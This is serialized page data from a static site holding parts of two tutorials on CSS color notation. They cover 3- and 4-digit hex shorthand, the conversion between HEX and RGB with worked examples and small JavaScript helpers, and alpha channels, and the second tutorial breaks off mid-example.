notation.",[193,113648,113649,113660],{},[196,113650,113651],{},[199,113652,113653,113655,113658],{},[202,113654,28789],{},[202,113656,113657],{},"Expanded",[202,113659,4231],{},[211,113661,113662,113674,113686,113700,113713,113726,113741],{},[199,113663,113664,113668,113672],{},[216,113665,113666],{},[143,113667,52216],{},[216,113669,113670],{},[143,113671,4321],{},[216,113673,28541],{},[199,113675,113676,113680,113684],{},[216,113677,113678],{},[143,113679,51638],{},[216,113681,113682],{},[143,113683,51598],{},[216,113685,30083],{},[199,113687,113688,113693,113698],{},[216,113689,113690],{},[143,113691,113692],{},"#f00",[216,113694,113695],{},[143,113696,113697],{},"#ff0000",[216,113699,4275],{},[199,113701,113702,113706,113711],{},[216,113703,113704],{},[143,113705,113560],{},[216,113707,113708],{},[143,113709,113710],{},"#00ff00",[216,113712,4247],{},[199,113714,113715,113719,113724],{},[216,113716,113717],{},[143,113718,113572],{},[216,113720,113721],{},[143,113722,113723],{},"#0000ff",[216,113725,4289],{},[199,113727,113728,113733,113738],{},[216,113729,113730],{},[143,113731,113732],{},"#888",[216,113734,113735],{},[143,113736,113737],{},"#888888",[216,113739,113740],{},"Mid-gray",[199,113742,113743,113748,113753],{},[216,113744,113745],{},[143,113746,113747],{},"#f80",[216,113749,113750],{},[143,113751,113752],{},"#ff8800",[216,113754,113755],{},"Orange",[11,113757,113759],{"id":113758},"when-shorthand-does-not-work","When Shorthand Does Not Work",[16,113761,113762],{},"Most colors require distinct digits in at least one channel and cannot be represented in shorthand:",[135,113764,113766],{"className":1554,"code":113765,"language":1556,"meta":141,"style":141},"\u002F* No shorthand equivalent exists for these *\u002F\ncolor: #d94f4f;   \u002F* Not #d4f (#dd44ff — completely different color) *\u002F\ncolor: #1e40af;   \u002F* Not #14a (#1144aa — completely different color) *\u002F\n",[143,113767,113768,113773,113783],{"__ignoreMap":141},[1560,113769,113770],{"class":1562,"line":1563},[1560,113771,113772],{"class":1649},"\u002F* No shorthand equivalent exists for these *\u002F\n",[1560,113774,113775,113777,113780],{"class":1562,"line":337},[1560,113776,113547],{"class":1570},[1560,113778,113779],{"class":5159},"#d94f4f;",[1560,113781,113782],{"class":1649},"   \u002F* Not #d4f (#dd44ff — completely different color) *\u002F\n",[1560,113784,113785,113787,113790,113792],{"class":1562,"line":343},[1560,113786,113547],{"class":1570},[1560,113788,113789],{"class":5159},"#1e40af",[1560,113791,3491],{"class":1570},[1560,113793,113794],{"class":1649},"\u002F* Not #14a (#1144aa — completely different color) *\u002F\n",[16,113796,113797,113798,113801,113802,113805,113806,113809],{},"The critical mistake is assuming you can truncate each channel to one digit. ",[143,113799,113800],{},"#d94f4f"," shortened to ",[143,113803,113804],{},"#d4f"," produces ",[143,113807,113808],{},"#dd44ff",", a purple — not the red you intended.",[11,113811,113813],{"id":113812},"shorthand-in-css-practice","Shorthand in CSS Practice",[33,113815,113817],{"id":113816},"acceptable-uses","Acceptable Uses",[135,113819,113821],{"className":1554,"code":113820,"language":1556,"meta":141,"style":141},"\u002F* Common named colors where shorthand is instantly recognizable *\u002F\nbackground: #fff;\nborder-color: #000;\ncolor: #333;\n",[143,113822,113823,113828,113835,113846],{"__ignoreMap":141},[1560,113824,113825],{"class":1562,"line":1563},[1560,113826,113827],{"class":1649},"\u002F* Common named colors where shorthand is instantly recognizable *\u002F\n",[1560,113829,113830,113832],{"class":1562,"line":337},[1560,113831,5156],{"class":1570},[1560,113833,113834],{"class":5159},"#fff;\n",[1560,113836,113837,113840,113842,113844],{"class":1562,"line":343},[1560,113838,113839],{"class":2484},"border-color",[1560,113841,1663],{"class":1570},[1560,113843,52216],{"class":5159},[1560,113845,2228],{"class":1570},[1560,113847,113848,113850,113852],{"class":1562,"line":365},[1560,113849,113547],{"class":1570},[1560,113851,51917],{"class":5159},[1560,113853,2228],{"class":1570},[16,113855,113856],{},"These are universally understood by developers and reduce visual noise in stylesheets.",[33,113858,113860],{"id":113859},"problematic-uses","Problematic Uses",[135,113862,113864],{"className":1554,"code":113863,"language":1556,"meta":141,"style":141},"\u002F* Obscure shorthands that require mental expansion *\u002F\nbackground: #b8d; \u002F* What color is this? Most developers cannot tell at a glance *\u002F\ncolor: #6a4;     \u002F* Requires mental math to expand to #66aa44 *\u002F\n",[143,113865,113866,113871,113881],{"__ignoreMap":141},[1560,113867,113868],{"class":1562,"line":1563},[1560,113869,113870],{"class":1649},"\u002F* Obscure shorthands that require mental expansion *\u002F\n",[1560,113872,113873,113875,113878],{"class":1562,"line":337},[1560,113874,5156],{"class":1570},[1560,113876,113877],{"class":5159},"#b8d;",[1560,113879,113880],{"class":1649}," \u002F* What color is this? Most developers cannot tell at a glance *\u002F\n",[1560,113882,113883,113885,113888,113890],{"class":1562,"line":343},[1560,113884,113547],{"class":1570},[1560,113886,113887],{"class":5159},"#6a4",[1560,113889,5785],{"class":1570},[1560,113891,113892],{"class":1649},"\u002F* Requires mental math to expand to #66aa44 *\u002F\n",[16,113894,113895,113896,1459,113898,1459,113900,1459,113902,113904],{},"If a shorthand is not immediately recognizable (",[143,113897,51638],{},[143,113899,52216],{},[143,113901,113692],{},[143,113903,51917],{},"), use the full six-digit form for readability.",[11,113906,113908],{"id":113907},"shorthand-and-alpha-transparency","Shorthand and Alpha Transparency",[16,113910,113911,113912,113914,113915,5461,113917,8037],{},"The shorthand system extends to the 8-digit hex format with alpha (",[143,113913,5184],{},"). A 4-digit shorthand ",[143,113916,5191],{},[143,113918,5184],{},[135,113920,113922],{"className":1554,"code":113921,"language":1556,"meta":141,"style":141},"\u002F* 4-digit shorthand with alpha *\u002F\ncolor: #fff8;   \u002F* #ffffff88 — white at ~53% opacity *\u002F\ncolor: #000c;   \u002F* #000000cc — black at ~80% opacity *\u002F\ncolor: #f00a;   \u002F* #ff0000aa — red at ~67% opacity *\u002F\n",[143,113923,113924,113929,113939,113951],{"__ignoreMap":141},[1560,113925,113926],{"class":1562,"line":1563},[1560,113927,113928],{"class":1649},"\u002F* 4-digit shorthand with alpha *\u002F\n",[1560,113930,113931,113933,113936],{"class":1562,"line":337},[1560,113932,113547],{"class":1570},[1560,113934,113935],{"class":5159},"#fff8;",[1560,113937,113938],{"class":1649},"   \u002F* #ffffff88 — white at ~53% opacity *\u002F\n",[1560,113940,113941,113943,113946,113948],{"class":1562,"line":343},[1560,113942,113547],{"class":1570},[1560,113944,113945],{"class":5159},"#000c",[1560,113947,3491],{"class":1570},[1560,113949,113950],{"class":1649},"\u002F* #000000cc — black at ~80% opacity *\u002F\n",[1560,113952,113953,113955,113958],{"class":1562,"line":365},[1560,113954,113547],{"class":1570},[1560,113956,113957],{"class":5159},"#f00a;",[1560,113959,113960],{"class":1649},"   \u002F* #ff0000aa — red at ~67% opacity *\u002F\n",[193,113962,113963,113973],{},[196,113964,113965],{},[199,113966,113967,113969,113971],{},[202,113968,28789],{},[202,113970,113657],{},[202,113972,207],{},[211,113974,113975,113990,114005,114020],{},[199,113976,113977,113982,113987],{},[216,113978,113979],{},[143,113980,113981],{},"#fff0",[216,113983,113984],{},[143,113985,113986],{},"#ffffff00",[216,113988,113989],{},"Fully transparent white",[199,113991,113992,113997,114002],{},[216,113993,113994],{},[143,113995,113996],{},"#fff8",[216,113998,113999],{},[143,114000,114001],{},"#ffffff88",[216,114003,114004],{},"White at 53% opacity",[199,114006,114007,114012,114017],{},[216,114008,114009],{},[143,114010,114011],{},"#ffff",[216,114013,114014],{},[143,114015,114016],{},"#ffffffff",[216,114018,114019],{},"Fully opaque white",[199,114021,114022,114027,114032],{},[216,114023,114024],{},[143,114025,114026],{},"#000a",[216,114028,114029],{},[143,114030,114031],{},"#000000aa",[216,114033,114034],{},"Black at 67% opacity",[16,114036,114037],{},"Browser support for 8-digit hex (and therefore 4-digit shorthand with alpha) is strong in modern browsers but verify your target environments.",[11,114039,114041],{"id":114040},"conversion-rules","Conversion Rules",[16,114043,114044],{},"To convert between shorthand and full notation:",[135,114046,114048],{"className":1607,"code":114047,"language":1609,"meta":141,"style":141},"\u002F\u002F Expand 3-digit shorthand to 6-digit\nfunction expandHex(short) {\n  return short.replace(\u002F([0-9a-f])\u002Fgi, '$1$1');\n}\n\u002F\u002F expandHex('f80') → 'ff8800'\n\n\u002F\u002F Compress 6-digit to 3-digit shorthand (when possible)\nfunction compressHex(full) {\n  if (full[0] === full[1] && full[2] === full[3] && full[4] === full[5]) {\n    return full[0] + full[2] + full[4];\n  }\n  return full; \u002F\u002F Not compressible\n}\n\u002F\u002F compressHex('ff8800') → 'f80'\n\u002F\u002F compressHex('d94f4f') → 'd94f4f' (unchanged)\n",[143,114049,114050,114055,114069,114101,114105,114110,114114,114119,114132,114186,114212,114216,114226,114230,114235],{"__ignoreMap":141},[1560,114051,114052],{"class":1562,"line":1563},[1560,114053,114054],{"class":1649},"\u002F\u002F Expand 3-digit shorthand to 6-digit\n",[1560,114056,114057,114059,114062,114064,114067],{"class":1562,"line":337},[1560,114058,8648],{"class":1669},[1560,114060,114061],{"class":1566}," expandHex",[1560,114063,1688],{"class":1570},[1560,114065,114066],{"class":2219},"short",[1560,114068,9345],{"class":1570},[1560,114070,114071,114073,114076,114078,114080,114082,114084,114087,114089,114091,114094,114096,114099],{"class":1562,"line":343},[1560,114072,9350],{"class":1669},[1560,114074,114075],{"class":1570}," short.",[1560,114077,22721],{"class":1566},[1560,114079,1688],{"class":1570},[1560,114081,9423],{"class":5634},[1560,114083,1688],{"class":11919},[1560,114085,114086],{"class":1576},"[0-9a-f]",[1560,114088,1525],{"class":11919},[1560,114090,9423],{"class":5634},[1560,114092,114093],{"class":1669},"gi",[1560,114095,1459],{"class":1570},[1560,114097,114098],{"class":5634},"'$1$1'",[1560,114100,1744],{"class":1570},[1560,114102,114103],{"class":1562,"line":365},[1560,114104,1585],{"class":1570},[1560,114106,114107],{"class":1562,"line":889},[1560,114108,114109],{"class":1649},"\u002F\u002F expandHex('f80') → 'ff8800'\n",[1560,114111,114112],{"class":1562,"line":1710},[1560,114113,1702],{"emptyLinePlaceholder":363},[1560,114115,114116],{"class":1562,"line":1717},[1560,114117,114118],{"class":1649},"\u002F\u002F Compress 6-digit to 3-digit shorthand (when possible)\n",[1560,114120,114121,114123,114126,114128,114130],{"class":1562,"line":1747},[1560,114122,8648],{"class":1669},[1560,114124,114125],{"class":1566}," compressHex",[1560,114127,1688],{"class":1570},[1560,114129,24588],{"class":2219},[1560,114131,9345],{"class":1570},[1560,114133,114134,114136,114139,114141,114143,114145,114148,114150,114152,114155,114157,114159,114161,114163,114165,114167,114169,114171,114173,114175,114177,114179,114181,114183],{"class":1562,"line":2507},[1560,114135,27984],{"class":1669},[1560,114137,114138],{"class":1570}," (full[",[1560,114140,5285],{"class":1576},[1560,114142,13484],{"class":1570},[1560,114144,23122],{"class":1669},[1560,114146,114147],{"class":1570}," full[",[1560,114149,3585],{"class":1576},[1560,114151,13484],{"class":1570},[1560,114153,114154],{"class":1669},"&&",[1560,114156,114147],{"class":1570},[1560,114158,10099],{"class":1576},[1560,114160,13484],{"class":1570},[1560,114162,23122],{"class":1669},[1560,114164,114147],{"class":1570},[1560,114166,17821],{"class":1576},[1560,114168,13484],{"class":1570},[1560,114170,114154],{"class":1669},[1560,114172,114147],{"class":1570},[1560,114174,12546],{"class":1576},[1560,114176,13484],{"class":1570},[1560,114178,23122],{"class":1669},[1560,114180,114147],{"class":1570},[1560,114182,13431],{"class":1576},[1560,114184,114185],{"class":1570},"]) {\n",[1560,114187,114188,114190,114192,114194,114196,114198,114200,114202,114204,114206,114208,114210],{"class":1562,"line":2524},[1560,114189,9434],{"class":1669},[1560,114191,114147],{"class":1570},[1560,114193,5285],{"class":1576},[1560,114195,13484],{"class":1570},[1560,114197,9448],{"class":1669},[1560,114199,114147],{"class":1570},[1560,114201,10099],{"class":1576},[1560,114203,13484],{"class":1570},[1560,114205,9448],{"class":1669},[1560,114207,114147],{"class":1570},[1560,114209,12546],{"class":1576},[1560,114211,13502],{"class":1570},[1560,114213,114214],{"class":1562,"line":2529},[1560,114215,4959],{"class":1570},[1560,114217,114218,114220,114223],{"class":1562,"line":2534},[1560,114219,9350],{"class":1669},[1560,114221,114222],{"class":1570}," full; ",[1560,114224,114225],{"class":1649},"\u002F\u002F Not compressible\n",[1560,114227,114228],{"class":1562,"line":2542},[1560,114229,1585],{"class":1570},[1560,114231,114232],{"class":1562,"line":2558},[1560,114233,114234],{"class":1649},"\u002F\u002F compressHex('ff8800') → 'f80'\n",[1560,114236,114237],{"class":1562,"line":2570},[1560,114238,114239],{"class":1649},"\u002F\u002F compressHex('d94f4f') → 'd94f4f' (unchanged)\n",[11,114241,1355],{"id":1354},[41,114243,114244,114252,114255,114258,114267,114273],{},[44,114245,114246,114247,52609,114249,114251],{},"Shorthand hex duplicates each digit: ",[143,114248,5133],{},[143,114250,5136],{},". It does not truncate or pad.",[44,114253,114254],{},"Only 4,096 out of 16.7 million colors can be represented in shorthand.",[44,114256,114257],{},"Never truncate a 6-digit code to 3 digits — the resulting color is completely different.",[44,114259,114260,114261,1459,114263,1466,114265,468],{},"Use shorthand only for universally recognizable values like ",[143,114262,51638],{},[143,114264,52216],{},[143,114266,51917],{},[44,114268,114269,114270,114272],{},"4-digit shorthand (",[143,114271,5191],{},") extends the system to include alpha transparency.",[44,114274,114275],{},"When in doubt, use the full 6-digit or 8-digit form for clarity.",[11,114277,286],{"id":285},[16,114279,114280,114281,468],{},"Convert between hex, RGB, and HSL color formats with the ",[98,114282,5990],{"href":5989},[2043,114284,114285],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":114287},[114288,114289,114290,114291,114295,114296,114297,114298],{"id":113522,"depth":337,"text":113523},{"id":113602,"depth":337,"text":113603},{"id":113758,"depth":337,"text":113759},{"id":113812,"depth":337,"text":113813,"children":114292},[114293,114294],{"id":113816,"depth":343,"text":113817},{"id":113859,"depth":343,"text":113860},{"id":113907,"depth":337,"text":113908},{"id":114040,"depth":337,"text":114041},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"When #fff equals #ffffff and when it doesn't — understanding 3-digit hex notation.",{"immutable":363},"\u002Fguides\u002Fhex-shorthand-colors",{"title":113517,"description":114299},"guides\u002Fhex-shorthand-colors","8387Q-5EVxmB9Hv7ksFDj7igAneugmDHHSlUQDwJrW0",{"id":114306,"title":30642,"body":114307,"date":2070,"description":115292,"extension":361,"meta":115293,"navigation":363,"path":30381,"readingTime":1710,"seo":115294,"stem":115295,"__hash__":115296},"guides\u002Fguides\u002Fhex-to-rgb-guide.md",{"type":8,"value":114308,"toc":115279},[114309,114313,114319,114322,114346,114350,114373,114376,114436,114439,114443,114451,114530,114544,114548,114551,114557,114625,114628,114684,114688,114693,114699,114705,114711,114735,114743,114749,114758,114762,114768,114779,114844,114855,114859,114867,114870,114917,114974,114983,115045,115058,115062,115065,115070,115081,115086,115101,115216,115222,115224,115252,115254,115260,115262,115276],[11,114310,114312],{"id":114311},"what-are-hex-color-codes","What Are HEX Color Codes",[16,114314,114315,114316,114318],{},"HEX color codes represent colors using the hexadecimal numbering system—base 16 instead of the base 10 you use every day. Each code starts with a ",[143,114317,6852],{}," followed by six characters: two for red, two for green, and two for blue.",[16,114320,114321],{},"Computers store color as three channels of light intensity. Hexadecimal is a convenient shorthand because each byte (0–255) maps neatly to exactly two hex digits (00–FF). That compactness is why HEX became the default color format on the web.",[135,114323,114325],{"className":1554,"code":114324,"language":1556,"meta":141,"style":141},"\u002F* Same coral color *\u002F\n.hero { color: #FF7F50; }\n",[143,114326,114327,114332],{"__ignoreMap":141},[1560,114328,114329],{"class":1562,"line":1563},[1560,114330,114331],{"class":1649},"\u002F* Same coral color *\u002F\n",[1560,114333,114334,114336,114338,114340,114342,114344],{"class":1562,"line":337},[1560,114335,32789],{"class":1566},[1560,114337,1658],{"class":1570},[1560,114339,12607],{"class":1576},[1560,114341,1663],{"class":1570},[1560,114343,30488],{"class":1576},[1560,114345,1673],{"class":1570},[11,114347,114349],{"id":114348},"how-the-hexadecimal-system-works","How the Hexadecimal System Works",[16,114351,114352,114353,5255,114355,114358,114359,5255,114361,114363,114364,114366,114367,114369,114370,114372],{},"The hex digits run from ",[143,114354,5285],{},[143,114356,114357],{},"9",", then ",[143,114360,21981],{},[143,114362,22657],{},". The value ",[143,114365,21981],{}," equals 10 in decimal, ",[143,114368,22657],{}," equals 15, and ",[143,114371,10403],{}," equals 255. This range maps perfectly to one byte—the same range each RGB channel uses.",[16,114374,114375],{},"To convert a two-digit hex pair to decimal, multiply the first digit by 16 and add the second:",[193,114377,114378,114389],{},[196,114379,114380],{},[199,114381,114382,114385,114387],{},[202,114383,114384],{},"Hex Pair",[202,114386,70642],{},[202,114388,5271],{},[211,114390,114391,114402,114413,114425],{},[199,114392,114393,114397,114400],{},[216,114394,114395],{},[143,114396,10403],{},[216,114398,114399],{},"(15 × 16) + 15",[216,114401,5400],{},[199,114403,114404,114408,114411],{},[216,114405,114406],{},[143,114407,5321],{},[216,114409,114410],{},"(8 × 16) + 0",[216,114412,5324],{},[199,114414,114415,114420,114423],{},[216,114416,114417],{},[143,114418,114419],{},"0A",[216,114421,114422],{},"(0 × 16) + 10",[216,114424,36197],{},[199,114426,114427,114431,114434],{},[216,114428,114429],{},[143,114430,5254],{},[216,114432,114433],{},"(0 × 16) + 0",[216,114435,5285],{},[16,114437,114438],{},"Understanding this math makes every HEX-to-RGB conversion straightforward.",[11,114440,114442],{"id":114441},"three-digit-vs-six-digit-hex","Three-Digit vs Six-Digit HEX",[16,114444,114445,114446,5255,114448,114450],{},"CSS supports a three-digit shorthand when both digits in each pair are identical. The browser expands ",[143,114447,5133],{},[143,114449,5136],{}," by duplicating each digit.",[193,114452,114453,114464],{},[196,114454,114455],{},[199,114456,114457,114459,114461],{},[202,114458,28789],{},[202,114460,113657],{},[202,114462,114463],{},"Equivalents",[211,114465,114466,114480,114497,114513],{},[199,114467,114468,114472,114476],{},[216,114469,114470],{},[143,114471,28802],{},[216,114473,114474],{},[143,114475,14644],{},[216,114477,114478],{},[143,114479,52225],{},[199,114481,114482,114487,114492],{},[216,114483,114484],{},[143,114485,114486],{},"#0F0",[216,114488,114489],{},[143,114490,114491],{},"#00FF00",[216,114493,114494],{},[143,114495,114496],{},"rgb(0, 255, 0)",[199,114498,114499,114504,114508],{},[216,114500,114501],{},[143,114502,114503],{},"#FFF",[216,114505,114506],{},[143,114507,3390],{},[216,114509,114510],{},[143,114511,114512],{},"rgb(255, 255, 255)",[199,114514,114515,114520,114525],{},[216,114516,114517],{},[143,114518,114519],{},"#3A9",[216,114521,114522],{},[143,114523,114524],{},"#33AA99",[216,114526,114527],{},[143,114528,114529],{},"rgb(51, 170, 153)",[16,114531,114532,114533,114535,114536,114539,114540,1531,114542,9368],{},"Not every color has a shorthand. ",[143,114534,30488],{}," (coral) cannot be shortened because each pair contains different digits (",[143,114537,114538],{},"7F"," is not ",[143,114541,113625],{},[143,114543,10403],{},[11,114545,114547],{"id":114546},"the-rgb-color-model","The RGB Color Model",[16,114549,114550],{},"RGB stands for Red, Green, Blue—the three primary colors of light. Screens mix these channels additively: more light means a brighter color. Each channel ranges from 0 (no light) to 255 (full intensity).",[16,114552,114553,114554,114556],{},"The RGB model gives you 256 × 256 × 256 = 16,777,216 possible colors. In CSS, you write RGB using the ",[143,114555,28868],{}," function:",[135,114558,114560],{"className":1554,"code":114559,"language":1556,"meta":141,"style":141},".alert { color: rgb(255, 0, 0); }     \u002F* Red *\u002F\n.ocean { color: rgb(0, 119, 190); }   \u002F* Deep blue *\u002F\n",[143,114561,114562,114593],{"__ignoreMap":141},[1560,114563,114564,114567,114569,114571,114573,114575,114577,114579,114581,114583,114585,114587,114590],{"class":1562,"line":1563},[1560,114565,114566],{"class":1566},".alert",[1560,114568,1658],{"class":1570},[1560,114570,12607],{"class":1576},[1560,114572,1663],{"class":1570},[1560,114574,30141],{"class":1576},[1560,114576,1688],{"class":1570},[1560,114578,5400],{"class":1576},[1560,114580,1459],{"class":1570},[1560,114582,5285],{"class":1576},[1560,114584,1459],{"class":1570},[1560,114586,5285],{"class":1576},[1560,114588,114589],{"class":1570},"); }     ",[1560,114591,114592],{"class":1649},"\u002F* Red *\u002F\n",[1560,114594,114595,114598,114600,114602,114604,114606,114608,114610,114612,114614,114616,114619,114622],{"class":1562,"line":337},[1560,114596,114597],{"class":1566},".ocean",[1560,114599,1658],{"class":1570},[1560,114601,12607],{"class":1576},[1560,114603,1663],{"class":1570},[1560,114605,30141],{"class":1576},[1560,114607,1688],{"class":1570},[1560,114609,5285],{"class":1576},[1560,114611,1459],{"class":1570},[1560,114613,519],{"class":1576},[1560,114615,1459],{"class":1570},[1560,114617,114618],{"class":1576},"190",[1560,114620,114621],{"class":1570},"); }   ",[1560,114623,114624],{"class":1649},"\u002F* Deep blue *\u002F\n",[16,114626,114627],{},"Modern CSS also accepts space-separated syntax and percentages:",[135,114629,114631],{"className":1554,"code":114630,"language":1556,"meta":141,"style":141},".alert { color: rgb(255 0 0); }\n.ocean { color: rgb(0% 47% 75%); }\n",[143,114632,114633,114655],{"__ignoreMap":141},[1560,114634,114635,114637,114639,114641,114643,114645,114647,114649,114651,114653],{"class":1562,"line":1563},[1560,114636,114566],{"class":1566},[1560,114638,1658],{"class":1570},[1560,114640,12607],{"class":1576},[1560,114642,1663],{"class":1570},[1560,114644,30141],{"class":1576},[1560,114646,1688],{"class":1570},[1560,114648,5400],{"class":1576},[1560,114650,13541],{"class":1576},[1560,114652,13541],{"class":1576},[1560,114654,1697],{"class":1570},[1560,114656,114657,114659,114661,114663,114665,114667,114669,114671,114673,114676,114678,114680,114682],{"class":1562,"line":337},[1560,114658,114597],{"class":1566},[1560,114660,1658],{"class":1570},[1560,114662,12607],{"class":1576},[1560,114664,1663],{"class":1570},[1560,114666,30141],{"class":1576},[1560,114668,1688],{"class":1570},[1560,114670,5285],{"class":1576},[1560,114672,17990],{"class":1669},[1560,114674,114675],{"class":1576}," 47",[1560,114677,17990],{"class":1669},[1560,114679,75708],{"class":1576},[1560,114681,17990],{"class":1669},[1560,114683,1697],{"class":1570},[11,114685,114687],{"id":114686},"hex-to-rgb-step-by-step-conversion","HEX to RGB: Step-by-Step Conversion",[16,114689,114690,114691,8037],{},"Converting HEX to RGB is pure arithmetic. Follow these steps for ",[143,114692,30488],{},[16,114694,114695,114698],{},[47,114696,114697],{},"Step 1"," — Split the HEX code into three pairs:",[135,114700,114703],{"className":114701,"code":114702,"language":140},[138],"#FF 7F 50\n RR GG BB\n",[143,114704,114702],{"__ignoreMap":141},[16,114706,114707,114710],{},[47,114708,114709],{},"Step 2"," — Convert each pair from hexadecimal to decimal:",[41,114712,114713,114720,114728],{},[44,114714,114715,114717,114718],{},[143,114716,10403],{}," → (15 × 16) + 15 = ",[47,114719,5400],{},[44,114721,114722,114724,114725],{},[143,114723,114538],{}," → (7 × 16) + 15 = ",[47,114726,114727],{},"127",[44,114729,114730,114732,114733],{},[143,114731,18059],{}," → (5 × 16) + 0 = ",[47,114734,5321],{},[16,114736,114737,114740,114741,8037],{},[47,114738,114739],{},"Step 3"," — Write the result as ",[143,114742,28868],{},[135,114744,114747],{"className":114745,"code":114746,"language":140},[138],"#FF7F50 = rgb(255, 127, 80)\n",[143,114748,114746],{"__ignoreMap":141},[16,114750,114751,114752,28833,114754,114358,114756,468],{},"For the three-digit shorthand, expand first, then convert. ",[143,114753,114519],{},[143,114755,114524],{},[143,114757,114529],{},[11,114759,114761],{"id":114760},"rgb-to-hex-the-reverse-conversion","RGB to HEX: The Reverse Conversion",[16,114763,114764,114765,8037],{},"Going from RGB to HEX is the same formula in reverse. For ",[143,114766,114767],{},"rgb(0, 119, 190)",[77,114769,114770,114773,114776],{},[44,114771,114772],{},"Divide each value by 16 to get the first hex digit (quotient).",[44,114774,114775],{},"The remainder becomes the second hex digit.",[44,114777,114778],{},"Pad single-digit results with a leading zero.",[193,114780,114781,114797],{},[196,114782,114783],{},[199,114784,114785,114787,114789,114792,114795],{},[202,114786,14076],{},[202,114788,5271],{},[202,114790,114791],{},"÷16 Quotient",[202,114793,114794],{},"Remainder",[202,114796,114384],{},[211,114798,114799,114813,114827],{},[199,114800,114801,114803,114805,114807,114809],{},[216,114802,4275],{},[216,114804,5285],{},[216,114806,5285],{},[216,114808,5285],{},[216,114810,114811],{},[143,114812,5254],{},[199,114814,114815,114817,114819,114821,114823],{},[216,114816,4247],{},[216,114818,519],{},[216,114820,735],{},[216,114822,735],{},[216,114824,114825],{},[143,114826,113625],{},[199,114828,114829,114831,114833,114836,114839],{},[216,114830,4289],{},[216,114832,114618],{},[216,114834,114835],{},"11 (B)",[216,114837,114838],{},"14 (E)",[216,114840,114841],{},[143,114842,114843],{},"BE",[16,114845,114846,114847,114849,114850],{},"Result: ",[143,114848,114767],{}," = ",[47,114851,114852],{},[143,114853,114854],{},"#0077BE",[11,114856,114858],{"id":114857},"alpha-channels-hex8-and-rgba","Alpha Channels: HEX8 and RGBA",[16,114860,114861,114862,114864,114865,468],{},"Transparency on the web requires an alpha channel. RGB gained alpha support early through ",[143,114863,5140],{},". HEX followed later with the 8-digit format ",[143,114866,5184],{},[16,114868,114869],{},"Alpha values map like this:",[193,114871,114872,114883],{},[196,114873,114874],{},[199,114875,114876,114879,114881],{},[202,114877,114878],{},"Alpha",[202,114880,5271],{},[202,114882,30483],{},[211,114884,114885,114896,114906],{},[199,114886,114887,114889,114892],{},[216,114888,5288],{},[216,114890,114891],{},"0.0",[216,114893,114894],{},[143,114895,5254],{},[199,114897,114898,114900,114902],{},[216,114899,18012],{},[216,114901,5687],{},[216,114903,114904],{},[143,114905,5321],{},[199,114907,114908,114910,114913],{},[216,114909,5403],{},[216,114911,114912],{},"1.0",[216,114914,114915],{},[143,114916,10403],{},[135,114918,114920],{"className":1554,"code":114919,"language":1556,"meta":141,"style":141},"\u002F* Same semi-transparent blue *\u002F\n.overlay-a { background: rgba(0, 119, 190, 0.5); }\n.overlay-b { background: #0077BE80; }\n",[143,114921,114922,114927,114958],{"__ignoreMap":141},[1560,114923,114924],{"class":1562,"line":1563},[1560,114925,114926],{"class":1649},"\u002F* Same semi-transparent blue *\u002F\n",[1560,114928,114929,114932,114934,114936,114938,114940,114942,114944,114946,114948,114950,114952,114954,114956],{"class":1562,"line":337},[1560,114930,114931],{"class":1566},".overlay-a",[1560,114933,1658],{"class":1570},[1560,114935,11362],{"class":1576},[1560,114937,1663],{"class":1570},[1560,114939,5670],{"class":1576},[1560,114941,1688],{"class":1570},[1560,114943,5285],{"class":1576},[1560,114945,1459],{"class":1570},[1560,114947,519],{"class":1576},[1560,114949,1459],{"class":1570},[1560,114951,114618],{"class":1576},[1560,114953,1459],{"class":1570},[1560,114955,5687],{"class":1576},[1560,114957,1697],{"class":1570},[1560,114959,114960,114963,114965,114967,114969,114972],{"class":1562,"line":343},[1560,114961,114962],{"class":1566},".overlay-b",[1560,114964,1658],{"class":1570},[1560,114966,11362],{"class":1576},[1560,114968,1663],{"class":1570},[1560,114970,114971],{"class":1576},"#0077BE80",[1560,114973,1673],{"class":1570},[16,114975,114976,114977,114979,114980,114982],{},"Modern CSS lets you add alpha to ",[143,114978,28868],{}," directly—no separate ",[143,114981,5140],{}," needed:",[135,114984,114986],{"className":1554,"code":114985,"language":1556,"meta":141,"style":141},".overlay-c { background: rgb(0 119 190 \u002F 0.5); }\n.overlay-c { background: rgb(0 119 190 \u002F 50%); 